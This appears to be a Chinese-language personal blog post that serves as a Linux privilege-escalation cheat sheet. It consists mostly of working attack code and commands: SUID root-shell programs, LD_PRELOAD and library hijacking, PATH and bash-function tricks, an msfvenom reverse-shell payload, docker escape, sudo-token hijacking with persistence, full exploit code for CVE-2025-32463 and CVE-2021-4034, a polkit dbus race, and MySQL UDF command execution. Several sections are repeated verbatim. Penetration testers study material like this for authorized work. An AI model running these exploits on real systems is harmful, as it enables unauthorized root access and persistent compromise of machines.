Skip to content
blogs of mekrina
Go back

linux提权指北

Updated:
Edit page

SUID/SGID

SUID/SGID

find / -perm -4000 -type f 2>/dev/null
find / -type f \( -perm -u+s -o -perm -g+s \) -exec ls -l {} + 2> /dev/null
find / -type f \( -perm -u+s -o -perm -g+s \) -exec ls -l {} + 2> /dev/null

只对二进制文件生效,对shell脚本无效

可以setuid、setgid之后执行bash 可以setuid、setgid之后执行bash

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(){
        setuid(0);
        setgid(0);
        system("/bin/bash -i");
}

链接库劫持

如果看到哪个奇怪的程序有suid,追踪链接库,如果哪个没有找到,且目录可写,就可以实现劫持

strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"

路径劫持

当suid进程执行了另一个进程时,如果用相对路径,可以设置 PATH=.:$PATH 如果用绝对路径,看看bash版本是否 <4.2-048,如果是,可以

function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service

导出类似绝对路径的函数,从而劫持命令

bash debug

bash < 4.4, 当某个suid进程使用了setuid(0), 并执行bash时,环境变量被传入bash 高版本不继承PS4

env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2

链接库劫持

如果看到哪个奇怪的程序有suid,追踪链接库,如果哪个没有找到,且目录可写,就可以实现劫持

strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"

路径劫持

当suid进程执行了另一个进程时,如果用相对路径,可以设置 PATH=.:$PATH 如果用绝对路径,看看bash版本是否 <4.2-048,如果是,可以

function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service

导出类似绝对路径的函数,从而劫持命令

bash debug

bash < 4.4, 当某个suid进程使用了setuid(0), 并执行bash时,环境变量被传入bash 高版本不继承PS4

env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2

sudoers配置提权

/etc/sudoers.d/下的文件(不以~结尾, 不包含.)可以配置某些命令使用sudo不需要密码。比如下述配置。

mekrina@candy tmp $ cat /etc/sudoers.d/add_ip
mekrina ALL=(ALL) NOPASSWD: /home/mekrina/myScript/shell/add_ip.sh
# 格式
# <user> <host> = (<runas-users>[:<runas-groups>]) <tags>: <command list>
# 格式
# <user> <host> = (<runas-users>[:<runas-groups>]) <tags>: <command list>

执行/home/mekrina/myScript/shell/add_ip.sh不需要密码。 如果该文件当前用户有编辑权限,很容易就能实现提权 或者这个文件不存在了,那么新建一个文件也可以实现提权

看配置里的env_keep有没有危险环境变量,比如LD_PRELOAD,添加了这个选项之后,执行root权限的命令不会自动删掉这个变量,从而实现提权

env_keep+=LD_PRELOAD

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    unsetenv("LD_PRELOAD");
    setuid(0);
    setgid(0);
    system("/bin/bash -i");
}
gcc -shared -fPIC -o test.so test.c
sudo LD_PRELOAD=/tmp/test.so apache2

这个apache2命令首先也得是NO_PASSWD,因为是验证之后才会加载链接库

env_keep+=LD_LIBRARY_PATH

ldd /usr/sbin/apache2
mv 1.so ...
sudo LD_LIBRARY_PATH=/tmp apache2

定时任务

/etc/crontab /etc/cron* crontab -l /var/spool/cron/crontabs

pspy监控进程

看:

可以修改的脚本或删除替换的文件

路径劫持

使用相对路径的时候,看看PATH中有没有在比较靠前位置且可写的

通配符

通过创建带--...的文件,给命令设置额外参数 比如tar,可以用 —checkpoint=1 —checkpoint-action=exec=/bin/sh 但这样拿不到shell,用msf创一个反弹shell的二进制

msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o shell.elf

copyfail

algif_aead能被加载

modprobe --dry-run --verbose algif_aead

如果是insmod或者空(已经被加载),则没有被临时修复

或者看是否是内核内建(=y)

zgrep CONFIG_CRYPTO_USER_API_AEAD /proc/config.gz

影响内核版本:

floor:    torvalds/linux 72548b093ee3   August 2017, v4.14
                                        (AF_ALG iov_iter rework that
                                         introduced the file-page write
                                         primitive via splice into the AEAD
                                         scatterlist)

ceiling:  torvalds/linux a664bf3d603d   April 2026, mainline
                                        (reverts the 2017 algif_aead
                                         in-place optimization; separates
                                         source and destination scatterlists
                                         so page-cache pages can no longer
                                         be a writable crypto destination)

Dirty Frag

验证:

modprobe -n -v rxrpc
modprobe -n -v esp4
// modprobe -n -v esp6 应该也行

看是否是内核内建:
zgrep -E 'CONFIG_INET_ESP|CONFIG_IPV6_ESP|CONFIG_AF_RXRPC' /proc/config.gz

copy fail共享一个sink点,但不受algif_aead约束 有两条链可以选:

  1. xfrm-ESP Page-Cache Write 2017年引入 通过user namespace提升到root,不一定可用,unshare经常默认被禁用,比如docker中,seccomp、apparmor配置

  2. RxRPC Page-Cache Write 2023年引入

cap_setuid

getcap -r / 2>/dev/null

/home/karen/vim = cap_setuid+ep, 说明可以setuid(0)

import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")

/etc/passwd | etc/shadow 权限错误

/etc/passwd 或 /etc/shadow 可写时 把x替换成密码哈希

mkpasswd -m sha-512 123456

当 /etc/shadow 可读时爆破

john --format=crypt hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

docker用户组提权

拥有docker权限相当于拥有root权限

docker run -it —rm —privileged —pid=host alpine[|ubuntu] nsenter -t 1 -m -u -n -i sh

nsenter用于切换进程命名空间,然后就相当于在主机中执行命令了

在挂载了主机docker.sock的容器中,相当于拥有了主机的docker权限,也相当于拥有主机root权限,一样的方式执行主机命令。需要—privileged参数启动。

NFS no_root_squash

网络共享文件夹,no_root_squash 表示不去除root权限,可以设置suid,然后执行

cat /etc/exports
showmount -e [ip] # 为空列出本机

ssh

看看ssh里面有没有登录其他用户的

令牌劫持

原理

/proc/sys/kernel/yama/ptrace_scope为0时,允许gdb附加到任何同用户进程 如果有一个用户在另一个shell中执行了sudo命令,并输入了密码。在令牌有效期间使用gdp附加到该shell进程,可以无密码使用sudo,实现权限提升

gdb -p <pid>
call system("sudo id > /tmp/res")

写入/etc/sudoers,可以持久化

Defaults !tty_tickets
Defaults timestamp_timeout=-1

或者通过拷贝sh文件,并设置suid持久化

sudo cp -p /bin/sh /tmp/
sudo chmod +s /tmp/sh

/tmp/sh -p

这里必须用-p参数才能获得root权限

/proc/sys/kernel/yama/ptrace_scope

exp

一般用exploit_v2.sh即可,然后执行 /tmp/sh -p,-p是允许shell以特权模式启动

CVE-2025-32463 sudo漏洞提权

影响范围 1.9.14<=sudo<1.9.17p1

sudo 默认有suid,执行sudo其实就是以root权限运行了,只不过需要密码验证才会执行后续的命令

mekrina@candy woot $ ls /bin/sudo -l
-rwsr-xr-x 1 root root 277936 Jun 25  2025 /bin/sudo

PoC如下

#!/bin/bash
# CVE-2025-32463 漏洞利用脚本
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)  # 创建临时工作目录
cd ${STAGE?} || exit 1

# 编写恶意NSS动态库代码
cat > woot1337.c <<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0, 0);  // 设置用户ID为root
  setregid(0, 0);  // 设置组ID为root
  chdir("/");      // 切换到根目录
  execl("/bin/bash", "/bin/bash", NULL);  // 启动root shell
}
EOF

# 构造chroot环境目录结构
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf  # 指定加载恶意NSS库
cp /etc/group woot/etc  # 复制系统group文件,避免解析错误

# 编译恶意动态库(生成libnss_woot1337.so.2)
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

# 执行漏洞利用(-R指定chroot目录为woot,命令woot可不存在)
echo "触发漏洞..."
sudo -R woot woot

# 清理临时文件(若提权成功,需手动清理)
# rm -rf ${STAGE?}

原理是 chroot 先于权限验证,chroot到一个用户自定义的文件夹下,后续sudo就会读到用户伪造的nsswitch.conf, 然后加载libnss_/woot1337.so.2,从而获得root的bash

CVE-2021-4034 pkexec

原理

pkexec是polkit的前端程序,有suid,可以用来执行高权限命令,正常情况下需要输密码。

漏洞在遍历参数后,对 argv[n]进行赋值,导致越界写。当没有参数,n=1的时候,argv[1]其实恰好指向了evnp[0],导致了任意环境变量添加。可以添加一个加载so文件的环境变量(正常情况下pkexec执行前会删除这些环境变量),从而以高权限执行任意命令

exp

pkexec —version < 0.120 详见工具 pwnkit-exploit

#include <unistd.h>
#include <stdio.h>

int main()
{
    /* The argv and environment passed to pkexec, the basis of this
     * exploit */
    char *argv[] = {NULL};

    char *envp[] = {
        "gconv",                /* path containing malicious gconv config/shared obj */
        "PATH=GCONV_PATH=.",    /* Environment variable to be injected */
        "CHARSET=ZT",           /* Charset defined in malicious gconv config */
        "SHELL=fakeshell",      /* Invalid shell value, triggers error to be printed, resulting in charset conversion */
        "GIO_USE_VFS=",             /* GIO_USE_VFS must be unset on versions of pkexec that set it. */
        NULL};

    fprintf(stderr, "Running exploit...\n");

    /* Run pkexec! */
    int ret = execve("/usr/bin/pkexec", argv, envp);
    if (ret)
        perror("pkexec");

    return -1;
}

执行了这段代码就会设置GCONV_PATH=.,从而去加载./gconv下的指定.so文件,从而拿到root

#include <gconv.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

/* This function is executed as root */
void payload()
{
    char *argv[] = {"/bin/sh", NULL};
    uid_t uid;

    uid = getuid();
    fprintf(stderr, "After exploit, your UID is %d\n", uid);
    fprintf(stderr, "Running shell:\n\n");
    setenv("PATH", "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", 1);
    execv(argv[0], argv);
}

/* Called upon shared object loading by glibc. */
int gconv_init (struct __gconv_step *step)
{
    /* Run this process and subprocesses as root */
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);

    /* Execute payload */
    payload();

    return __GCONV_OK;
}

/*
 * glibc checks for this function when loading the shared object. It
 * is never called, but if it does not exist, an assertion fails.
 */
int gconv(struct __gconv_step *step)
{
    return __GCONV_OK;
}

CVE-2021-3560 polkit dbus

原理

该漏洞主要存在于 polkit 0.113 到 0.118 版本之间。以下发行版镜像通常包含易受攻击的版本:

apt list —installed | grep policykit-1

0.105-26ubuntu1.1 这个版本patched

polkit是用于身份认证的服务,dbus-send请求添加新用户,后面polkit会询问它的UID,如果这期间dbus-send进程被杀死,会默认UID是0,从而可以添加高权限用户。

exp

自动化见 pentest/escalation 先看一下需要多长时间,看real。要卡在dbus-send之后,验证之前 kill

time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1

比如0.009,可以设置0.005或尝试其他的

创建用户 mekrina

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:mekrina string:"Pentester Account" int32:1 & sleep 0.005s; kill $!

设置密码mekrina,uid要是刚刚创建的用户的

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$3U8p02lSnK7mpHDQ$.WYwJhgpo9X8cyBA2iZbnGGPW28lBuwu/RQWtv4lpwID4tpyFGj8CtglJCugAgPaoXDUHZ9WHloe0Ql3I5ZO5.' string:'Ask the pentester' & sleep 0.005s; kill $!

mysql提权

searchsploit里面找到tar(32bit)或linux/local/1518.c(自己编译,有说明)

show variables like '%plugin%';
show variables like 'secure%'; # 为空最好,为NULL不能写

use mysql;
create table foo(line blob);
insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select do_system("cp /bin/bash /tmp/; chmod +xs /tmp/bash");

/tmp/bash -p

mysql提权

searchsploit里面找到tar(32bit)或linux/local/1518.c(自己编译,有说明)

show variables like '%plugin%';
show variables like 'secure%'; # 为空最好,为NULL不能写

use mysql;
create table foo(line blob);
insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select do_system("cp /bin/bash /tmp/; chmod +xs /tmp/bash");

/tmp/bash -p

Edit page